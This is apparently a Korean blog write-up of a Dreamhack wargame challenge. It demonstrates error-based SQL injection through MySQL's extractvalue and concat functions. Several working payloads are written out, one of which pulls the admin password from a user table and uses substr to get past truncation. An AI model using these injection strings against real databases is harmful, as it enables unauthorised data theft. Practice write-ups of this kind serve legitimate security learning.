카테고리 없음

[Dreamhack_워게임] error based sql injection

도아돵 2024. 3. 21. 11:04

error based sql injection | 워게임 | Dreamhack

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io


 

오류기반 SQL Injection: DB로 전달되는 SQL 쿼리의 문법적 오류를 이용하여 데이터베이스 정보를 획득하는 공격기법

 

메인화면

 

문제에서 준 파이썬 코드 

 

또한 다른 파일들을 살펴보면 

uid가 admin일 때 pwd값이 FLAG라는 것을 확인할 수 있었다.

 

extractvalue 함수: EXTRACTVALUE함수는 인수로써 XMLType 인스턴스와 XPath 식을 취하여, 결과 노드의 스칼라 값을 반환함

extractvalue(XML 형식의 값,XPath 조건식)

 

 

1.  첫번째 인자에 1,두번째인자에 select database문

concat 함수: 문자여을 합치는 함수

 

union을 이용하여 두번째 쿼리로 실행시키면 아래와 같이 코드사용.

' union SELECT extractvalue(1,concat(0x3a,version()));

 

결과는 에러났다 ..

 

위의 version()대신 구하고자 하는 upw를 구하는 서브쿼리를 대입하면 성공일듯

=>

' union SELECT extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); -- 

음 플래그가 짤렸다 원활하게 보기위해서 substr을 이용하였다.

 

20~50 을 기준 삼아 아래 쿼리를 날렸다

' union SELECT extractvalue(1,concat(0x3a,(select substr(upw,20,50) from user where uid = 'admin'))); -- 

나머지 플래그 출력되었따 ~